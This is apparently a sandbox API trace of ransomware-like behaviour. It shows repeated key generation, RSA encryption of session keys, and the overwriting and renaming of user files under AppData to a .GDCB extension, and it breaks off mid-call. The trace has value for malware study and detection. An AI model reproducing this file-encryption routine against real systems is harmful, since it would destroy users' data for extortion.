CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4980) returned 1 [0197.229] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.230] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.230] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0197.230] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0197.230] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4430) returned 1 [0197.231] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.232] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.232] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0197.232] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0197.232] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4430) returned 1 [0197.234] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x508cdb8) returned 1 [0197.234] CryptGetKeyParam (in: hKey=0x508cdb8, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0197.234] CryptEncrypt (in: hKey=0x508cdb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6340000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x6340000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0197.235] GetLastError () returned 0x0 [0197.235] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0197.235] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4430) returned 1 [0197.237] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x508cdf8) returned 1 [0197.237] CryptGetKeyParam (in: hKey=0x508cdf8, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0197.237] CryptEncrypt (in: hKey=0x508cdf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6350000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x6350000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0197.237] GetLastError () returned 0x0 [0197.237] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0197.237] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\GameDVR\\KnownGameList.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\gamedvr\\knowngamelist.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0197.249] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4540) returned 1 [0197.251] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.252] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.252] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0197.252] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0197.252] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0197.253] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.254] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.254] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0197.254] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0197.254] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0197.256] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508cfb8) returned 1 [0197.256] CryptGetKeyParam (in: hKey=0x508cfb8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0197.256] CryptEncrypt (in: hKey=0x508cfb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6360000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6360000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0197.257] GetLastError () returned 0x0 [0197.257] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0197.257] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0197.258] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x508c8f8) returned 1 [0197.259] CryptGetKeyParam (in: hKey=0x508c8f8, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0197.259] CryptEncrypt (in: hKey=0x508c8f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6370000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6370000*, pdwDataLen=0x285d630*=0x100) returned 1 [0197.259] GetLastError () returned 0x0 [0197.259] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0197.259] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DomainSuggestions\\en-US.1" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domainsuggestions\\en-us.1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0197.260] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6380000 [0197.262] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6390000 [0197.263] ReadFile (in: hFile=0x510, lpBuffer=0x6390000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6390000*, lpNumberOfBytesRead=0x285d670*=0x4910, lpOverlapped=0x0) returned 1 [0197.271] VirtualAlloc (lpAddress=0x0, dwSize=0x4910, flAllocationType=0x3000, flProtect=0x4) returned 0x64a0000 [0197.275] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DomainSuggestions\\en-US.1" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domainsuggestions\\en-us.1"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DomainSuggestions\\en-US.1.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domainsuggestions\\en-us.1.gdcb")) returned 1 [0197.288] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0197.289] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.290] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.290] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0197.290] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0197.290] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0197.291] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.292] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.292] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0197.292] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0197.292] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0197.294] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508cff8) returned 1 [0197.294] CryptGetKeyParam (in: hKey=0x508cff8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0197.294] CryptEncrypt (in: hKey=0x508cff8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6360000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6360000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0197.294] GetLastError () returned 0x0 [0197.295] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0197.295] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0197.296] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508cb78) returned 1 [0197.296] CryptGetKeyParam (in: hKey=0x508cb78, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0197.296] CryptEncrypt (in: hKey=0x508cb78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6370000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6370000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0197.297] GetLastError () returned 0x0 [0197.297] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0197.297] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\52UK17NV\\www.google[1].xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\52uk17nv\\www.google[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0197.298] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6380000 [0197.299] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6390000 [0197.300] ReadFile (in: hFile=0x514, lpBuffer=0x6390000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6390000*, lpNumberOfBytesRead=0x285d3e8*=0xd, lpOverlapped=0x0) returned 1 [0197.313] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x64a0000 [0197.314] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x64b0000 [0197.315] VirtualFree (lpAddress=0x64a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0197.316] SetFilePointer (in: hFile=0x514, lDistanceToMove=-13, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.317] WriteFile (in: hFile=0x514, lpBuffer=0x64b0000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x64b0000*, lpNumberOfBytesWritten=0x285d3e0*=0x10, lpOverlapped=0x0) returned 1 [0197.317] VirtualFree (lpAddress=0x64b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0197.318] VirtualFree (lpAddress=0x6390000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0197.322] WriteFile (in: hFile=0x514, lpBuffer=0x6360000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x6360000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0197.322] WriteFile (in: hFile=0x514, lpBuffer=0x6370000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x6370000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0197.322] WriteFile (in: hFile=0x514, lpBuffer=0x6380000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x6380000*, lpNumberOfBytesWritten=0x285d3e0*=0x10, lpOverlapped=0x0) returned 1 [0197.322] CloseHandle (hObject=0x514) returned 1 [0197.323] VirtualFree (lpAddress=0x6380000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0197.324] VirtualFree (lpAddress=0x6360000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0197.325] VirtualFree (lpAddress=0x6370000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0197.325] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\52UK17NV\\www.google[1].xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\52uk17nv\\www.google[1].xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\52UK17NV\\www.google[1].xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\52uk17nv\\www.google[1].xml.gdcb")) returned 1 [0197.333] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0197.335] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.336] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.336] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0197.336] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0197.336] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0197.338] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.338] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.338] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0197.338] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0197.339] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0197.341] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508c938) returned 1 [0197.341] CryptGetKeyParam (in: hKey=0x508c938, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0197.341] CryptEncrypt (in: hKey=0x508c938, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6360000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6360000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0197.341] GetLastError () returned 0x0 [0197.341] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0197.341] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0197.343] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508ca38) returned 1 [0197.343] CryptGetKeyParam (in: hKey=0x508ca38, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0197.343] CryptEncrypt (in: hKey=0x508ca38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6370000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6370000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0197.343] GetLastError () returned 0x0 [0197.343] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0197.343] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\L8OQST1L\\consent.google[1].xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\l8oqst1l\\consent.google[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0197.345] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6380000 [0197.346] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6390000 [0197.347] ReadFile (in: hFile=0x514, lpBuffer=0x6390000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6390000*, lpNumberOfBytesRead=0x285d3e8*=0xd, lpOverlapped=0x0) returned 1 [0197.356] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x64a0000 [0197.357] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x64b0000 [0197.358] VirtualFree (lpAddress=0x64a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0197.359] SetFilePointer (in: hFile=0x514, lDistanceToMove=-13, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.359] WriteFile (in: hFile=0x514, lpBuffer=0x64b0000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x64b0000*, lpNumberOfBytesWritten=0x285d3e0*=0x10, lpOverlapped=0x0) returned 1 [0197.359] VirtualFree (lpAddress=0x64b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0197.360] VirtualFree (lpAddress=0x6390000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0197.364] WriteFile (in: hFile=0x514, lpBuffer=0x6360000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x6360000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0197.364] WriteFile (in: hFile=0x514, lpBuffer=0x6370000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x6370000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0197.364] WriteFile (in: hFile=0x514, lpBuffer=0x6380000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x6380000*, lpNumberOfBytesWritten=0x285d3e0*=0x10, lpOverlapped=0x0) returned 1 [0197.364] CloseHandle (hObject=0x514) returned 1 [0197.365] VirtualFree (lpAddress=0x6380000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0197.367] VirtualFree (lpAddress=0x6360000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0197.368] VirtualFree (lpAddress=0x6370000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0197.369] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\L8OQST1L\\consent.google[1].xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\l8oqst1l\\consent.google[1].xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\DOMStore\\L8OQST1L\\consent.google[1].xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\domstore\\l8oqst1l\\consent.google[1].xml.gdcb")) returned 0 [0197.385] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4980) returned 1 [0197.386] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.387] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.387] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0197.387] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0197.387] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4430) returned 1 [0197.388] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0197.389] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0197.389] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0197.389] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0197.389] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4430) returned 1 [0197.391] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x508c8b8) returned 1 [0197.391] CryptGetKeyParam (in: hKey=0x508c8b8, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0197.391] CryptEncrypt (in: hKey=0x508c8b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6360000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x6360000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0197.392] GetLastError () returned 0x0 [0197.392] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0197.392] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4540) returned 1 [0197.393] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x508cf38) returned 1 [0197.393] CryptGetKeyParam (in: hKey=0x508cf38, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0197.393] CryptEncrypt (in: hKey=0x508cf38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6370000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x6370000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0197.394] GetLastError () returned 0x0 [0197.394] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0197.394] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\ie4uinit-ClearIconCache.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\ie4uinit-cleariconcache.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0197.396] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6380000 [0197.397] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6390000 [0197.398] ReadFile (in: hFile=0x50c, lpBuffer=0x6390000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, 